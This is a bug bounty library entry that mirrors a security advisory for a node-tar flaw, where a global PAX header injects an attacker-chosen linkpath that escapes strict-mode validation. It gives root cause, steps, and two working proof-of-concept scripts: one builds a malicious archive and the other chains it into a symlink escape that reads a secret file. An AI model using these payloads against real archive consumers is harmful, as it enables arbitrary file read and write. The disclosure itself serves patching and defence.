# node-tar: Global PAX extended header injects attacker-controlled linkpath into tar.Parser entries, bypassing strict-mode validation

Global PAX header linkpath bypasses strict-mode filtering in tar.Parser's ReadEntry, injecting attacker linkpath into every entry and enabling symlink traversal in downstream consumers.

- Payout: Research
- Severity: high
- Program: node-tar
- Found by: arjunjaincs
- Disclosed: 2026-12-02
- CVE: CVE-2026-140239
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-ffhw-4r4q-5cwv
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-ffhw-4r4q-5cwv
- Tags: area:oss domain:oss impact:data-leak impact:integrity kind:research platform:ghsa sev:high tech:nodejs technique:incomplete-fix technique:source-review vuln:path-traversal

**Target:** tar.Parser / tar.list() ReadEntry in npm tar package
**Root cause:** read-entry.js #slurp() only excludes 'path' from global extended headers, unlike header.js which also excludes 'linkpath', so GEX linkpath leaks into every entry's linkpath without triggering the strict-mode warning.
**Steps:**
1. Build a PAX global extended header (type 'g') with body ` linkpath=../../../etc/passwd\n` wrapped in correct length prefix.
2. Append plain File entries (README.md, src/index.js, package.json) and end-of-archive blocks.
3. Feed archive to `new tar.Parser({strict:true, onwarn})` and listen for 'entry'.
4. Observe each entry.linkpath equals `../../../etc/passwd` and zero warnings fire.
5. In a downstream consumer, use entry.linkpath to create a symlink; resolve escapes cwd and read arbitrary file.
**How found:** Compared two #slurp() implementations (header.js vs read-entry.js) and noticed only header.js filters linkpath for GEX; hypothesized the strict-mode warning path checks header.linkpath (empty) while ReadEntry sets entry.linkpath from GEX unfiltered.
**Exploitation:** Attacker ships a tar with a GEX linkpath field; a tool using tar.Parser to inspect archives and create symlinks from entry.linkpath without revalidation writes a symlink pointing outside cwd, then reads the target (e.g. secret.txt) — arbitrary file read/write. tar.x() is unaffected due to STRIPABSOLUTEPATH guard.
**Escalation:** Chained parser-level injection into downstream symlink creation to escape extraction directory and read secrets.
**Insight:** When a library has duplicate parsing logic in two files, diff the field-filtering clauses — a guard present in one copy but missing in the other is a reliable bypass, especially where the warning check reads from the sanitized copy while the consumer reads from the unsanitized one.

## Proof of concept (copied exactly from the original report)

**Parser PoC injecting linkpath via GEX**

```
const tar = require('tar')

function padBlock(buf) {
  const rem = buf.length % 512
  return rem === 0 ? buf : Buffer.concat([buf, Buffer.alloc(512 - rem)])
}
function mkHeader(fields) {
  const b = Buffer.alloc(512, 0)
  const ws = (s, off, len) =>
    b.write(String(s || '').slice(0, len).padEnd(len, '\0'), off, 'latin1')
  const wo = (n, off, len) =>
    ws(n.toString(8).padStart(len - 1, '0') + '\0', off, len)
  ws(fields.path  || 'file', 0,   100)
  wo(fields.mode  || 0o644,  100, 8)
  wo(0, 108, 8); wo(0, 116, 8)
  wo(fields.size  || 0,      124, 12)
  wo(Math.floor(Date.now() / 1000), 136, 12)
  b.write('        ', 148, 'latin1')
  ws(fields.type  || '0',    156, 1)
  ws(fields.linkpath || '',  157, 100)
  b.write('ustar\000', 257, 'latin1')
  b.write('00',        263, 'latin1')
  let sum = 0
  for (let i = 0; i < 512; i++) sum += b[i]
  wo(sum, 148, 8)
  return b
}
function mkGEX(kvpairs) {
  let body = ''
  for (const [k, v] of Object.entries(kvpairs)) {
    const keyval = ` ${k}=${v}\n`
    const len = String(keyval.length).length + keyval.length
    body += `${len} ${k}=${v}\n`
  }
  const bodyBuf = Buffer.from(body, 'utf8')
  const hdr = mkHeader({ path: 'GlobalPaxHeader', size: bodyBuf.length, type: 'g' })
  return Buffer.concat([hdr, padBlock(bodyBuf)])
}

const archive = Buffer.concat([
  mkGEX({ linkpath: '../../../etc/passwd' }),
  mkHeader({ path: 'README.md',    type: '0', size: 0 }),
  mkHeader({ path: 'src/index.js', type: '0', size: 0 }),
  mkHeader({ path: 'package.json', type: '0', size: 0 }),
  Buffer.alloc(1024, 0),
])

const warnings = []
const parser = new tar.Parser({ strict: true, onwarn: (c, m) => warnings.push(m) })
parser.on('entry', entry => {
  console.log(`${entry.path} | ${entry.type} | linkpath: ${entry.linkpath}`)
  entry.resume()
})
parser.on('end', () => {
  console.log('warnings under strict:true:', warnings.length === 0 ? 'NONE' : warnings)
})
parser.end(archive)
```

**Downstream symlink arbitrary file read chain**

```
const tar  = require('tar')
const fs   = require('fs')
const path = require('path')
const os   = require('os')

const tmpdir = fs.mkdtempSync(path.join(os.tmpdir(), 'chain-'))
const cwd    = path.join(tmpdir, 'extract')
const secret = path.join(tmpdir, 'secret.txt')
fs.mkdirSync(cwd)
fs.writeFileSync(secret, 'db_password=hunter2\napi_key=sk-REAL\n')

// Same helpers (padBlock, mkHeader, mkGEX) as poc-tar1.js above

const archive = Buffer.concat([
  mkGEX({ linkpath: '../../secret.txt' }),
  mkHeader({ path: 'subdir/link', type: '2', linkpath: 'safe' }),
  Buffer.alloc(1024, 0),
])

const parser = new tar.Parser()
parser.on('entry', entry => {
  if (entry.type === 'SymbolicLink') {
    const target   = entry.linkpath   // GEX-injected value
    const linkAt   = path.join(cwd, entry.path)
    fs.mkdirSync(path.dirname(linkAt), { recursive: true })
    fs.symlinkSync(target, linkAt)
    const resolved = path.resolve(path.dirname(linkAt), target)
    console.log('symlink:', linkAt, '->', target)
    console.log('escapes cwd:', !resolved.startsWith(cwd))
    if (fs.existsSync(resolved))
      console.log('READ:', fs.readFileSync(resolved, 'utf8'))
  }
  entry.resume()
})
parser.end(archive)
```

